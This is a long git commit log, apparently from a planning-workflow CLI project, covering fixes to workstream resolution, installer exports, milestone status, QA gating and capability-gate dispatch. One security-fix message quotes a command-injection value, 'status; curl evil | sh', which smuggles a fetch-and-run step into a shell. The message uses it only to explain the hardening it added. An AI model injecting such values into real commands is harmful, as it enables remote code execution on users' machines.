* test(3579): failing-first coverage for repo-marker inheritance A session that carries an identity but has never run 'workstream use' reads an absent session pointer, resolves null, and composes the flat .planning tree even when .planning/active-workstream names a live workstream. These tests fail on that and pin the invariants the fix must not break: a session with its own pointer is never repointed, and a session that merely lacked a pointer must never clear the shared marker on another session's behalf. * fix(3579): a pointer-less session inherits the repo active-workstream marker RED proven at 157cae26: the three inheritance tests failed while every isolation and negative control passed on base — the gap, and nothing else. pickActiveWorkstreamAdapter returned exactly ONE adapter: the session-scoped one whenever a session key existed, so the shared .planning/active-workstream marker was never consulted. getWorkstreamSessionKey resolves a key from ~13 env vars or the controlling TTY, so on any normal interactive terminal a key almost always exists — which is why a session that had never run 'workstream use' read an absent pointer, resolved null, and composed the FLAT planning tree even though the repo marker named a live workstream. Reads misreported; writes corrupted the superseded flat STATE. Silent, because the stale tree is well-formed. This was a genuine design fork, not an oversight: references/workstream-flag.md documented step 4 as a fallback 'when no session key exists', and the session isolation that buys is deliberate (#2850). The issue's Agent Brief left the choice open and said the reference doc should match whatever semantics ship. The maintainer ruled in chat for inheritance. Resolution now walks an ORDERED chain — session adapter first, shared second — and only a null from the session adapter falls through to the marker. Strictly additive: it can only turn a null into a name, never change a name that already resolves. The dangerous part is clear() ownership. resolveFromChain treats chain[0] as owned: only it is ever cleared, and only under selfHeal (getActiveWorkstream, never peek). An INHERITED marker is read-only — a stale value there resolves null and the file is left alone. Without that, one pointer-less session's read would delete the repo marker for every other session, which is a worse bug than the one being fixed. Covered by a test that asserts the marker still exists on disk after such a read. peekActiveWorkstream inherits but still mutates nothing (#2850 — the statusline draws on every render). references/workstream-flag.md's Resolution Priority is rewritten to match, keeping the session-isolation rationale and noting that inheritance does not weaken it: a session that owns a pointer is never repointed. Fixes #3579 * fix(3579): correct the guard diagnostics and lock the clear-semantics Three review passes; every finding fixed inline. MISSING ACCEPTANCE CRITERION (spec pass). The brief requires refusal diagnostics that distinguish 'marker present but the session lookup missed it' from 'no workstream set at all', and the two workstream-mode fail-safe guards were byte-for-byte untouched — still emitting a generic 'no active workstream is set' even when a marker exists and merely names a missing directory. Both guards (cmdPhaseComplete, cmdInitProgress) now branch on a new read-only diagnoseUnresolvedActiveWorkstream, which reuses the SAME resolvesToExistingWorkstream predicate resolveFromChain uses, so the diagnosis and the resolution cannot disagree. Two typed reasons added to ERROR_REASON; both arms still refuse — the fail-closed behavior is unchanged, only the message is now true. REAL TEST FAILURE, not a flake. The remote run failed 'clearing one session does not clear another session pointer'. That describe uses before() rather than beforeEach, so one tmpDir is shared and an earlier test writes active-workstream=beta into it; under inheritance the just-cleared session picks that marker up and resolves beta instead of null. The failure is a CORRECT consequence of Option A surfaced through an order-dependent fixture. The test now establishes its own marker state explicitly — its real intent (clearing A must not disturb B's pointer) is preserved and not weakened — and a new test pins the semantic deliberately: clearing a session pointer returns that session to INHERITING the marker, it does not force flat mode. Documented in references/workstream-flag.md, including how to actually get flat behavior. Also from review: partial activeWorkstreamAdapters injection no longer silently synthesizes a REAL filesystem adapter for the missing half (a latent test-isolation trap); the duplicated validate-then-existsSync logic is factored into one predicate; and the two try/finally test bodies are converted to t.after per CONTRIBUTING. New coverage: whitespace/empty shared marker; a session whose OWN pointer is stale while the marker names a different valid workstream (must self-heal to null, never inherit — the isolation guarantee at its sharpest); and both new diagnostic arms asserted on structured --json-errors output rather than prose. * fix(3579): read resolvability with the non-mutating peek, not the self-healing resolver Three of our own new tests failed on 7f5e706a. All three had ONE root cause, and none was fixed by relaxing an assertion. gsd-tools.cjs's bootstrap called the MUTATING getActiveWorkstream unconditionally on every invocation, purely to populate routing env. On an unresolvable pointer that self-healed — cleared it — BEFORE the dispatched command ran its own resolution. A second read in the same process then observed already-cleared state: - Isolation violation: a session whose own pointer was stale had it cleared by the bootstrap, so cmdWorkstreamGet's own resolution found a pointer-LESS session and inherited the shared marker ('beta' instead of null). Exactly the guarantee #2850 exists to protect, defeated across two calls rather than within one. - Guard diagnostics: the guards' own truthiness check also used the mutating resolver, so it cleared the invalid marker and the immediately-following read-only diagnosis found nothing and reported none_active instead of marker_unresolved. So a single invocation's answer depended on how many times it resolved. The bootstrap self-heal is PRE-EXISTING and was harmless while pointer-less meant flat — inheritance is what made it answer-changing, so this fix belongs here. Every call site that only CHECKS resolvability — the bootstrap, both fail-safe guards' truthiness check, and two informational init report fields — now uses the non-mutating peekActiveWorkstream. Self-heal is unchanged in active-workstream-store and still fires exactly once, at whichever site actually consumes the workstream. Verified by driving the real CLI against temp fixtures, since the suite cannot run locally: stale-own-pointer resolves null with the marker intact; both guard arms report marker_unresolved with missing_workstream_dir / invalid_name and the marker survives; no-marker still reports none_active; identity-less self-heal still deletes an invalid marker byte-identically to pre-#3579; and a session with a valid own pointer still wins. * chore(3579): backfill changeset PR number (#3616) * test(3579): kill the surviving mutants in the new resolution code CI's Stryker gate failed: active-workstream-store scored 79.45% against a break threshold of 80 — 259 killed, 67 survived, at 'Ran 1.00 tests per mutant on average'. The survivors cluster in the code this PR added (pickActiveWorkstreamAdapterChain, resolvesToExistingWorkstream, resolveFromChain, diagnoseUnresolvedActiveWorkstream): the CLI-level tests exercise those paths but do not DISCRIMINATE their branches, which is precisely what a surviving mutant means. Raised by strengthening assertions, never by touching the threshold. 21 unit tests added to the existing unit suite, each written to fail under a specific named mutant, using the module's injected adapter seams and createMemoryPointerAdapter so they stay hermetic under Stryker's per-mutant reruns: - chain shape with and without a session key, asserting length AND element identity (kills the if(false), the ': []' array mutant, and the block removal) - partial adapter injection, asserting the missing half is an inert memory adapter that never touches the filesystem (kills the three '??' -> '&&' mutants) - both arms of '!name || !validateWorkstreamName(name)' as SEPARATE tests — an absent name and a non-empty invalid one — which is what kills the '||' -> '&&' mutant - self-heal discrimination: getActiveWorkstream must clear an unresolvable owned pointer and peekActiveWorkstream must not, asserted on adapter state after each (kills if(selfHeal) -> if(true)) - fallback arm both ways: a fallback that resolves and one that does not - diagnoseUnresolvedActiveWorkstream asserted as a full object per case, with the reason strings compared exactly (kills present:true -> false and both StringLiteral mutants) One mutant is deliberately left: 'if (chain.length === 0)' -> 'if (false)'. The branch is structurally unreachable — the only chain source always returns a 1- or 2-element array literal — and resolveFromChain is not exported. Killing it would mean exporting an internal or deleting a defensive guard; neither is worth doing for a mutant, and the score clears 80 without it. Recorded here rather than left unexplained. Every new assertion was evaluated against the built module with real fixtures before committing, since the suite cannot run locally. --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
682eaae3f0 |
enh(#2876): retire the dead and pass-through exports from bin/install.js (#3615)
* enh(#2876): retire the dead and pass-through exports from bin/install.js The installer exported 197 names and had zero production consumers - every non-test require of it repo-wide sits inside a comment. Its interface was shaped by test access, not by callers. Removes 9 dead exports and 61 pass-throughs, repointing their tests onto the extracted modules' own interfaces. 197 down to 127. Every count in the issue was wrong: 197 exports not 188, 9 dead not 12, 61 pass-throughs not 49, 44 test files not 42 - and the audit itself then missed 7 more consumer files. restoreUserArtifacts was on the dead list but ceased to exist in phase 6, and two _GSD_EFFORT_MANIFEST_* names listed as dead are now genuinely asserted, so acting on that list would have deleted live exports. 7 of the 9 dead names collide with an independent declaration that install.js delegates TO. Each removal was justified by which declaration a reference resolves to, never by whether the name appears somewhere. Coverage parity was the gate rather than test greenness: per-file counts were captured before any edit and diffed after. 44 of 45 files are byte-identical; the single delta is one added assertion, not a loss. The sweep for scattered require sites found two forms static grep misses - require(VARIABLE) and multi-line require() - plus tests asserting that install.js re-exports the SAME object, which now assert retirement instead. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2876): close review findings — restore the duplicate-body guard, sweep orphaned code Both review engines found real defects in the first cut. The DEFECT.GENERATIVE-FIX single-owner guard from #1511 had been repointed from a reference-identity check to install.X === undefined. Those are not equivalent: the guard exists to catch a duplicate function body reintroduced into install.js, and the replacement passes cleanly if that duplicate is used internally and never exported. It now walks bin/install.js's real top-level bindings, so it catches a duplicate under either shape, exported or not - strictly stronger than the check it replaced. Proved by injecting a duplicate and watching it go red. That weakening survived the coverage-parity gate because the assertion count never moved. The gate compares counts, so an assertion that changes meaning rather than number is invisible to it. Removing the exports had orphaned their wrapper bodies: 14 dead wrappers, 9 consts and 9 destructure entries, several pre-existing and found by the same sweep. Dead code left in the file this phase exists to shrink. Three more comments claimed re-exports this phase removed, and tests were reading Cursor and Windsurf hook constants from install.js's local copy while calling functions from the hooks surface - equal today, with nothing holding them equal. The local consts now reference the owning module. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#2876): backfill changeset pr number Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: sim <sim@local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
Tom Boucher
|
bcefffc132 |
fix(#3578): derive milestone status from phase counters, not phase-completion prose (#3614)
* test(3578): failing-first coverage for milestone status on partial completion Completing phase 2 of a 4-phase milestone sets frontmatter status: completed while the same call correctly writes completed_phases: 2 / total_phases: 4. These tests fail on that conflation and pin the boundary either side of it (3-of-4 must not complete, 4-of-4 must), plus milestone_name byte-identity and the 1-of-1 case that legitimately does complete. * fix(3578): derive milestone status from phase counters, not phase-completion prose RED proven at 253843b4 (tests-only): the 2-of-4 and 3-of-4 cases failed while the 4-of-4, milestone_name and 1-of-1 controls passed — the conflation, and nothing else. state complete-phase writes body prose `Phase N complete`. normalizeStateStatus matches 'complete' as a case-insensitive SUBSTRING, so phase-level prose collapsed into milestone-level frontmatter status: completed — even while the same call correctly derived completed_phases: 2 / total_phases: 4 / percent: 50. Check ORDER is why the sibling surface stays correct: completePhaseCore writes 'Ready to plan' for non-final phases, hitting the 'planning' arm before 'complete'. The two phase-completion surfaces disagreed and this was the conflated one — a violation of ADR-2207, which gives milestone termination solely to milestoneCompleteCore. buildStateFrontmatter now honors a 'completed' normalization from phase-completion prose only when the counters it already derived agree. Scoped deliberately: - anchored to bare `Phase <token> complete`, so 'All phases complete' and '<version> milestone complete' are untouched (both out of scope). Verified by executing the guard's own regex from source against both forms. - gated on counter trustworthiness (COMPLETE disk scope, finite counts, positive denominator) so an unknown scope withholds rather than guessing 'not complete', which would be the mirror-image bug - normalizeStateStatus itself is NOT modified — it feeds every state.* write and the read path A 1-of-1 milestone still yields 'completed' by the rule, not by exemption, so the #1255 pinning test stays green on its merits. Fixes #3578 * fix(3578): gate the guard on milestone boundedness and close the review gaps Review findings from two orthogonal passes, all fixed inline. GUARD (correctness, from the standards pass): the guard omitted `milestoneUnbounded`, which is the established trust authority for these very counters in this same function — it nulls progressPercent at :2286 and gates the prose fallback at :2294. An unbounded milestone yields a conflated/understated total, so `completedPhases < totalPhases` could be an artifact of a bad denominator and demote a genuinely-complete milestone. Now gated. TESTS: - Prose/guard parity assertion. The guard regex-matches prose emitted from a DIFFERENT file; if that prose drifts the guard silently stops firing and the bug returns undetected. Per the repo's generative-fix-divergence rule, a test now asserts the emitted body Status still matches the guard's pattern — asserting the emitted value against the pattern rather than duplicating the string. - limit+1: completedPhases > totalPhases must NOT fire; inconsistent counters fall through rather than guessing. - Untrustworthy counters (no phases dir → totalPhases null) must NOT fire. - AC4: MCP invoke-command dispatch parity via handleMessage, the criterion both reviewers independently flagged as asserted-but-untested. - Hand-rolled STATE.md writes routed through the existing writeState fixture helper. The adversarial pass independently verified, by reading rather than trusting the diff's own comments, that: paused/stopped short-circuit before 'completed' so a paused milestone can never be clobbered; only cmdStateCompletePhase emits the targeted prose, so no sibling caller over-fires; the counters come from a fresh disk scan independent of this write, so there is no pre/post off-by-one; and the #1255 pinning fixture creates no phases dir, leaving completedPhases null and the guard inert — so that test is provably unaffected rather than assumed to be. * chore(3578): add changeset fragment * chore(3578): backfill changeset PR number (#3614) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
b42cb4fb29 |
fix(#3597): count scenario expectation failures in the QA gate, and fix the workstream scope split it exposed (#3607)
* fix(#3597): count scenario expectation failures in the QA ratchet gate buildReport counts totals.violations as oracle violations PLUS scenario expectFailures, but collectFindings read only step.violations. A scenario whose declared expect failed therefore produced ok:false and violations:1 in the report while the ratchet printed "0 violations" and exited 0. multi-workstream has failed that way on every CI run since 2026-08-10, when #3217 (PR #3318) made computeProgressPercent withhold a percentage whose scope is not COMPLETE. The walk detected the change the day it landed; nothing was listening. - collectFindings returns a third bucket, expectationFailures, carrying no fingerprint so it can never be baselined or acked away - both modes of main() print and gate on it; the summary line reports it - guard runMain(main) behind require.main === module, so the QA suite can require the script to test collectFindings without running a real walk (that import side effect is why the gate logic had no test) - multi-workstream now asserts the true contract: phase_scope unreadable and percent null, per ADR-3180 7.6 rule 4 - the perturbation test asserts scenario ok, closing the test-side half Closes #3597 * fix(#3597): resolve the milestone window against the active workstream listMilestonePhaseDirs defaulted its ws option to null. planningDir treats undefined as "resolve the ambient workstream" and null as "force the project root", so that default suppressed the ambient resolution every other planning-path read uses. All 18 call sites derive phasesDir ambiently via planningPaths(cwd), so the counts came from the workstream while the milestone window came from the root .planning/ROADMAP.md — the exact numerator/denominator scope split ADR-3180 7.6 rule 3 forbids. workstream create migrates that root roadmap away, so the read threw and scope stayed UNREADABLE, and rule 4 then correctly withheld the percentage. Proof: with a workstream tree byte-unchanged, copying its own ROADMAP to the project root flipped --ws alpha progress from phase_scope:unreadable/percent:null to complete/100. This is the defect the loop QA walk was pointing at all along; the scenario expectation is restored to percent:100 rather than bent to match the bug. - pass ws through as undefined so ambient resolution applies - multi-workstream asserts phase_scope complete + percent 100 - regression test in completion-ratio-scope-withholding covers a workstream-only project with no root ROADMAP - replace the vacuous require.main test: runMain defers through a promise, so the in-process timing check passed against the unguarded file too; a child-process spawn now observes the guard for real - tie the oracle-violation test to expectationFailures, and cover the absent-key, multi-scenario and zero-step report shapes in parity - flatten scenario-authored strings before rendering them into the step summary and CI logs (forged markdown / ANSI injection) - widen the scenario contract assertions past perturbation-* so multi-workstream is actually covered test-side Closes #3597 * fix(#3597): flatten scenario-authored strings on the CI-log output path The step-summary path already routed findings through flattenUntrusted; the check-mode NEW-smell and STALE-entry console.error blocks, and the repro line in both printers, still interpolated raw. detail carries a scenario-authored expect[].path verbatim, and reason/scenario/id come from contributor-authored baseline and ack fragments validated only as non-empty strings. A crafted path could print a forged summary line into the CI log directly above the real one, plus ANSI repaint and unbounded length. Exit codes are unaffected — this is log spoofing, not gate bypass. * fix(#3597): refuse to archive on an unreadable milestone window; close review gaps Resolving the milestone window against the active workstream can leave the window UNREADABLE when that workstream has no ROADMAP of its own. getMilestonePhaseFilter throws, the window degrades to a pass-all fallback, and milestone complete would then move every phase dir -- breaking the guarantee stated at the archive site that no out-of-window directory is touched. milestone complete now refuses to archive when the window is UNREADABLE and reports the refusal; --dry-run previews the same refusal from the same shared derivation. The guard is scoped to UNREADABLE, not to every non-COMPLETE scope. A broader condition regressed ordinary root projects: the QA walk caught milestone-rollover leaving 01-parser on disk, which then tripped the #1447 abort in phases clear. UNSCOPED and TRUNCATED are pre-existing classifications and keep their existing behavior. Review fixes: - the workstream regression test asserted complete/100 but its fixture wrote no workstream STATE.md, so it resolved unscoped/null and the test failed; it now asserts a milestone and genuinely fails-first - the parity test hand-supplied totals.violations, hardcoding the very formula under test; at least one case now goes through the real buildReport - drop a vacuous qa-report.json assertion (jsonOut defaults to null, so no report is written by either shape) - buildRepro emitted a repo-relative binary path after cd-ing into a temp project, so every repro died with MODULE_NOT_FOUND; it now resolves an absolute path - flattenUntrusted truncated the repro to 300 chars, handing reviewers a command that looks complete and is not; length capping is now opt-out for repro while newline/control/backtick stripping still applies * chore(#3597): backfill changeset pr number (#3607) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
fe64704ace |
enhance(#3588): add an opt-in commit_docs pre-commit hook (#3609)
* feat(#3588): add an opt-in commit_docs pre-commit hook Final phase of epic #2292, scope narrowed to opt-in by maintainer decision: default-on installation and the bin/install.js wiring it would have required are explicitly out of scope. Enabling is an explicit verb call. The hook is written to the repo's real hooks dir resolved via git rev-parse --git-path hooks, so a linked worktree or submodule whose .git is a FILE works rather than getting a literal .git/hooks path. It refuses rather than overwrite a foreign pre-commit, refuses to delete one it did not write, and refuses outright when core.hooksPath is already set -- a written-but-ignored hook is worse than a refusal. Ownership is detected by marker presence, not byte-equality, so a user who appends a line does not make it unrecognizable. Deliberately NOT included: teaching cmdCheckCommit the per-phase commit_docs tier. #3587 was still unmerged when this landed, and implementing precedence against helpers that did not yet exist would have meant a second copy of the resolution chain -- the divergence class this epic has spent three phases fighting. That follows as its own change now that #3587 is on next. The ordering constraint is recorded in the design doc: this must not merge before #3587, or the hook would block a commit cmdCommit itself allows. * fix(#3588): teach the commit_docs guard the per-phase tier and -z paths Part 1, deferred until #3587 merged. cmdCheckCommit read only project-level commit_docs, so once #3587 landed, a phase with phase_commit_docs true under project false was ALLOWED by query commit and BLOCKED by this guard -- and the hook shipped in this same branch shells out to it. It now derives the staged phase via the single-owner detectPhaseNumberFromFiles and resolves through #3587's own resolveCommitDocsPolicy rather than a second precedence copy. Also fixes a proven false negative in the harm direction. git diff --cached --name-only C-style-quotes any path with non-ASCII or special characters, so a staged .planning/cafe.md was emitted as a quoted string, failed startsWith('.planning/'), and slipped past the guard entirely under commit_docs:false. Reading with -z and splitting on NUL removes the quoting at the source. The f.startsWith('.planning\\') branch was dead code under that read -- git emits /-separated paths on every platform -- and is removed rather than left implying coverage it never provided. The earlier C7 test pinned the buggy behavior as intended; it now asserts the file is detected and the commit refused. Self-caught: the commit-docs-guard verb was wired into the routers by this branch's earlier pass but missing from the top-level help listing. * test(#3588): replace try/finally with t.after, add negative-routing cases Standards review findings. CONTRIBUTING bans try/finally inside a test body outright -- it masks failures -- and B8 used one for worktree cleanup. Now t.after(), assertions unchanged. The new commit-docs-guard command family had zero negative-routing coverage, which CONTRIBUTING requires for any change to command dispatch. B11-B15 cover no subcommand, unknown, empty string, whitespace-only and a flag-shaped value, each asserting non-zero exit, a structured error, no stack trace, and -- the one that matters for a command that writes into a user's repo -- that NO hook is written in any of them. Those tests were verified to fail when routeCommitDocsGuard's else-branch is neutered, so they exercise the routing guard rather than any convenient error path. Also made two error() calls' control flow explicit with a return; they were safe only because error() is typed never two files away. * chore(#3588): backfill changeset pr number to 3609 * test(#3588): skip Windows-unrepresentable fixtures on win32 CI's Windows shards caught two of my own tests: fixtures whose filenames contain a quote and a backslash. Both are illegal on Windows -- backslash is the path separator, quote is invalid on NTFS -- so fixture creation failed before any assertion ran. Test-portability defect, not a production one. Those inputs cannot exist on that platform, so the guard has nothing to detect there. Both now check process.platform FIRST, before any fs or git call, and use t.skip() rather than a bare return -- a bare return registers as a PASS and would hide the gap it is meant to record. Each carries a comment saying the input is unrepresentable rather than unverified, so nobody later re-enables it. No padding added: the cafe.md case already exercises git's C-quoting path on every platform, since non-ASCII names are legal on NTFS. This is exactly the coverage the Linux-only remote matrix cannot provide, which the PR body already stated -- CI's Windows shards are what caught it. --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
fba3b9c24f |
fix(#3559): dispatch every ship:pre capability gate, not two hardcoded capIds (#3608)
* test(3559): failing-first coverage for generic ship:pre gate dispatch ship.md's preflight resolves every active ship:pre gate then enforces exactly two hardcoded capability IDs, so a third-party capability's blocking gate is resolved, evaluable, and silently dropped. These tests fail on that dispatch dead-end and pin the generic evaluator contract the fix will drive. * fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds ship.md's preflight resolved every active ship:pre gate via render-hooks and then enforced exactly two capability IDs — security and broken-windows. Every other capId, including any third-party capability's blocking gate, was resolved, evaluable, and silently dropped: a phase shipped past its own declared failing gate with nothing evaluated and nothing warned. Preflight now iterates every active kind=="gate" entry in array order, dispatching by check shape through the generic evaluator (gsd_run check predicate, ADR-2008) and honoring each gate's own blocking and onError — the contract execute:wave:post, execute:post and plan:post already implement and references/loop-hook-dispatch.md already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre as auto-dispatching, so this restores documented behavior rather than changing it. security and broken-windows are retained verbatim as named specializations INSIDE the loop, so their bespoke fail-closed reads are unchanged and every gate is visited exactly once — no double-enforcement is representable. Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the test file's header note claiming ship:pre has no runnable evaluator (stale since #2008). Fixes #3559 * fix(3559): validate third-party gate checks in-context before any shell use Adversarial + security review of the generic dispatch arm this PR introduces. SECURITY (introduced by this PR): the new every-other-capId arm is the first path on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre — before it, dispatch never left the two first-party arms. gates[].check is not one of the four executable surfaces the install consent prompt discloses (hooks, command modules, mcpServers, reviewer lanes), so a capability can be consented to as declarative-only and still reach a shell here. An unvalidated check.query of 'status; curl evil | sh' would be interpolated straight into a command substitution. The arm now carries the same in-context validation contract loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is specified as a single argv element so an apostrophe cannot close the literal. TESTS: the first-cut regression tests only asserted that the shared loop phrase and the evaluator substrings co-occurred. A partial regression that kept the phrase but deleted the default arm would have passed them. Added a structural assertion that a distinguishable catch-all arm exists, comes after every named branch, and is where the generic evaluator is actually invoked. REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the generated registry, all 35 manifest declarations, and all four dispatch sites use skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc as ship.md's authority. Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim; no capability declares a ship:pre query gate today). * fix(3559): close the same gate-check injection at all four sibling dispatch sites Maintainer directed fixing the sibling sites inline rather than filing them. The command-injection surface fixed at ship:pre is a FAMILY property, not a site property: every workflow that interpolates a manifest-supplied check.query into a shell command substitution has it. Root cause is in the contract, not the sites — references/loop-hook-dispatch.md mandates in-context validation for step -> ref.command and OMITS the same requirement for gate, so all four gate consumers inherited an unstated rule. Closed at the source (the reference's gate section now carries the rule) and at every consumer: execute-phase.md execute:wave:post, execute:post plan-phase.md plan:post verify-work.md verify:pre ship.md ship:pre (already hardened in a2d84a77) TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a new dispatch site added later without the validation contract fails instead of shipping — the same 'hardcoded list silently misses members' mistake #3559 itself was. It asserts, per discovered site, that the charset is pinned, that validation is specified as in-context, and that the rule appears BEFORE the interpolation it guards (an executing agent reads top-down). A floor assertion fails the section if the discovery regex ever stops matching, so it cannot pass vacuously. Two further tests pin the reference's gate section and the halt/skip onError vocabulary. Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304, verify-work 39488/61440, ship 38067/40960. Drift acks amended for each. * fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857 pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of headroom and the inline validation paragraph added 987. That ceiling is a ratchet proving Phase 6 extraction happened — raising it is never the answer. Restructured so the RULE lives once, in the reference's gate section (charset, in-context, single-argv, and the consent-surface rationale), and each of the five dispatch sites carries a terse mandate plus a pointer to it. That is strictly better than five verbatim restatements: this PR exists partly because the reference and its implementations had already drifted apart on the onError vocabulary, and five copies of a security rule is that same failure waiting to recur. execute-phase.md already eagerly inlines the reference (@-form at its step-hook dispatch), so an executing agent has the full rule in context regardless. Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose restated both commands the fenced block immediately below already shows, and whose tail restated the two-step contract that the execute:wave:post site spells out in full. Net sizes vs origin/next: execute-phase.md 93365 (-26, SHRINKS) pre-phase-6 93600, margin 235 (was 209) plan-phase.md 90627 (+111) tier cap 98304 verify-work.md 39107 (+111) tier cap 61440 ship.md 36784 (+3058) tier cap 40960 Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that is never consumed is reported as STALE and fails the check. The other three acks carry corrected byte figures. Tests follow the same split: section 6 asserts the mandate + pointer per discovered site and the full rule in the reference; section 5's security test drops the inline charset assertion it can no longer make of ship.md. * fix(3559): repair an over-escaped regex in the security assertion /loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never match and the [security] assertion failed on the remote runner even though the prose it checks was correct. The over-escaping came from nesting a regex through a shell string into a node -e script; the sibling literal in section 6, written via a quoted heredoc, was unaffected. The reason this reached the runner at all is that the local check re-typed the regex by hand instead of executing the one in the file, so it validated a different pattern than the test used. Replaced that habit with two harnesses that read the literals FROM the source: one asserts every regex literal in the file matches something in the real workflow/reference corpus (catching over-escaping generically), the other evaluates the [security] and section-6 literals against their actual targets. * chore(3559): backfill changeset PR number (#3608) --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
debeabd524 |
enhance(#3587): add a per-phase commit_docs override (#3601)
* feat(#3587): add a per-phase commit_docs override Delivers epic #2292's second user story: commit an architecture phase's artifacts while execution phases stay local. commit_docs was project-wide and binary, so the only choices were all phases or none. Shape is a config dynamic key phase_commit_docs.<phase-id>, following the 14 existing dynamicKeyPatterns precedents rather than inventing a PLAN.md frontmatter spec -- which #2292 itself flags as becoming its own maintenance surface. Tier 1 resolves in cmdCommit, NOT in loadConfig: loadConfig has no phase context and is called by nearly every command, so threading one through it to serve a single caller would be a far larger blast radius for no gain. The phase comes from detectPhaseNumberFromFiles, which cmdCommit already computes for branch naming and which is already hardened against the #2539 project-code bug. Suppression by the per-phase tier returns its own reason rather than reusing skipped_commit_docs_false -- telling a user their project setting is false when it is true would be actively misleading. Additive; the two existing reason strings that agents/gsd-executor.md matches on are unchanged. The manifest's phase-id pattern is a hand-copy of PHASE_NUMBER_TOKEN_SOURCE because the manifest is hand-maintained JSON, so a behavioral parity test asserts both surfaces accept and reject the same token shapes. * fix(#3587): fold tests, close review findings, update reference docs Fold: the new tests were added as their own file, which required loosening a grandfathered lint-test-file-count bucket 5-to-6. A ratchet exists to go down only. commit-docs-bypass.test.cjs is the established commit_docs test home and already hosts two folded suites, so the tests fold there as a third block and the allowlist is reverted untouched. Standards review: CONTEXT.md and the test header both cited a phase-commit-docs-manifest-parity.test.cjs that never existed; a repo-wide sweep found a fourth stale cite in the schema manifest description. All four now name the real location. Spec review: the issue's Scope of changes named planning-config.md and git-planning-commit.md and neither was touched. Both now document the four-tier precedence and the new skip reason. Security review, minor and unproven: detectPhaseNumberFromFiles returns the FIRST matching path's phase, so a --files list spanning two phases resolves the override against whichever comes first. That helper is hardened and widely used, so it is not changed; the behavior is pinned by a named test and disclosed in the design and user docs. A pinned behavior is not a bug; an unpinned surprise is. * chore(#3587): backfill changeset pr number to 3601 --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
f56ffa86ab |
fix(#3581): derive init.progress's next_phase from roadmap order, not artifact presence (#3603)
* test(#3581): pin init.progress's frontier to roadmap order over stray artifacts Failing-first regression for #3581: a stray out-of-order phase directory (a phase-9 UAT evidence file while roadmap phase 8 was pending and unscaffolded) made init.progress report next_phase 09, skipping Phase 8 and disagreeing with roadmap.analyze. Rows pin the issue shape, the aligned-tree control, and the all-complete boundary. * fix(#3581): derive init.progress's next_phase from roadmap order, not artifact presence The frontier is re-derived from the sorted phase union after the disk and roadmap loops: the first not-yet-begun, not-roadmap-complete phase wins. Artifacts still feed status and completion per entry, but a stray out-of-order directory can no longer drag the frontier past a pending unscaffolded roadmap phase, and init.progress agrees with roadmap.analyze. * fix(#3581): frontier = first not-complete phase in roadmap order (resume semantics) Review-of-own-control refinement: a begun-but-unfinished phase (in_progress, executed, researched) is the frontier — the next thing to execute is to resume it — so the frontier predicate is simply 'not complete and not roadmap-complete', first in the sorted union. * fix(#3581): preserve the pinned pending-only frontier contract; repair the boundary fixture Review findings: the resume-semantics refinement broke the suite-pinned contract that an in-progress phase is currentPhase's lane, not nextPhase's (tests/init.test.cjs 'multiple phases with mixed statuses') — reverted to first pending-or-not_started; the control row now pins the pure ordering property (roadmap-only pending beats a later pending directory); the boundary fixture gains passing verification reports so disk status reaches complete under the #3168 disk-strict bar. * chore(#3581): add changeset fragment * chore(#3581): backfill changeset pr number --------- Co-authored-by: sim <sim@local> |
||
|
Tom Boucher
|
3ab0007164 |
enh(#2875): materialization primitives — durable user-artifact staging and descriptor-authoritative agents (#3600)
* fix(#2875): stage user artifacts durably across install wipes (#1874-F19) preserveUserArtifacts held user files only in an in-memory Map across the wipe, so any process death between preserve and restore lost them outright. Seven call sites, not the four the issue records. Three of them never called the helper at all - they open-coded the same read/wipe/write - so searching for callers under-counted by construction; the extra sites were found by sweeping for the pattern instead. The worst is the mainline install path, where the crash window spans the entire gsd-core tree copy rather than a single rmSync. Adds src/user-artifact-staging.cts: durable on-disk staging with a record written after the copies land as the commit point, plus recovery of orphaned batches on the next run - without recovery the staged bytes survive but the user's file is still gone, which would pass its own test while delivering nothing. Routes copyPreservingSymlink through installFs() so staging cannot bypass the install fs seam, and reunites its symlink-safety docblock with the function it documents. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(#2875): amend ADR-3574 with four claims disproved by implementation Implementing Phase 6 disproved four statements the ADR rests on. The central decision - no single materializer - is unaffected and stands. Corrected: decision 3 was already satisfied, so nothing was extracted; the agents-bypass runtime set omitted claude, kilo and opencode, and closing it needed three new pieces of descriptor contract rather than proceeding on its own terms; three of the four blockers the layout comment names were already stale; and F19 is seven call sites, not four. Records the generalizable lesson: the defect is the pattern of holding user data in memory across a wipe, not the helper, so searching for callers of the helper under-counts by construction. Also resolves the ADR's open question on USER_OWNED_ARTIFACTS membership, and notes that copyPreservingSymlink needed routing through the install fs seam before it could be reused. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2875): close dangling-symlink blind spot and harden staging recovery An adversarial review found the F19 staging work shipped red and unsafe. Root cause, shared by two arbitrary-write findings: hasExistingSymlinkBetween missed dangling symlinks in both its root check and its per-segment walk, because it probed with existsSync, which is false for a link whose target does not exist. Fixing only the new module would have reused a guard that was 